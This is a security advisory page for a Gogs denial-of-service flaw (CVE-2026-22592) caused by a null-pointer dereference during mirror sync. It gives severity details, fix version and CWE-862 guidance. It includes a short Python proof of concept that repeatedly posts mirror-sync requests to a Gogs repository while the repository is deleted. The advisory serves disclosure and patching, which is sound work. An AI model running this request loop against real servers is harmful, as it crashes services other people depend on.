GHSA-cr88-6mqm-4g57 CVE-2026-22592 GO-2026-4451

Gogs has a Denial of Service issue

Medium Go

Severity: 6.5 / 10; Medium · CVSS 3.1
Exploit chance (EPSS): 0.38%; Chance of exploitation in the next 30 days. Higher than 31.91% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-862 Missing Authorization
Fix: 0.13.4; Upgrade gogs.io/gogs to this version or later

Description

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Affected versions

Go

Package	Vulnerable	Fixed in
gogs.io/gogs	`< 0.13.4`	`0.13.4`
gogs.io/gogs	`all versions`	No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gogs.io/gogs Go → `0.13.4`

go

go get gogs.io/gogs@v0.13.4 && go mod tidy

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: Low
User interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it

Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2026-22592

Packages

github.com/gogs/gogs

Timeline

Feb 6, 2026 Published
Jun 17, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-mq8m-42gh-wq7r Gogs vulnerable to a bypass of CVE-2024-55947	High Known exploited	Also affects gogs.io/gogs
GHSA-3w28-36p9-w929 Gogs's Unauthenticated Jupyter Notebook (ipynb) Sanitizer allows arbitrary data: URIs leading to XSS	Medium	Also affects gogs.io/gogs
GHSA-744x-3838-5r56 Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API	Medium	Also affects gogs.io/gogs
GHSA-xp79-5mx3-jx52 Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion)	Medium	Also affects gogs.io/gogs
GHSA-c39w-43gm-34h5 Gogs has Path Traversal in organization name that results in RCE through Git hooks	Critical	Also affects gogs.io/gogs
GHSA-6p9m-q3jp-47h4 Gogs: LFS dedupe path leaks private repo content across tenants	High	Also affects gogs.io/gogs
GHSA-89mr-xqfv-758m Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym	Critical	Also affects gogs.io/gogs
GHSA-wmfg-5p4h-5fw3 Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion	High	Also affects gogs.io/gogs

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor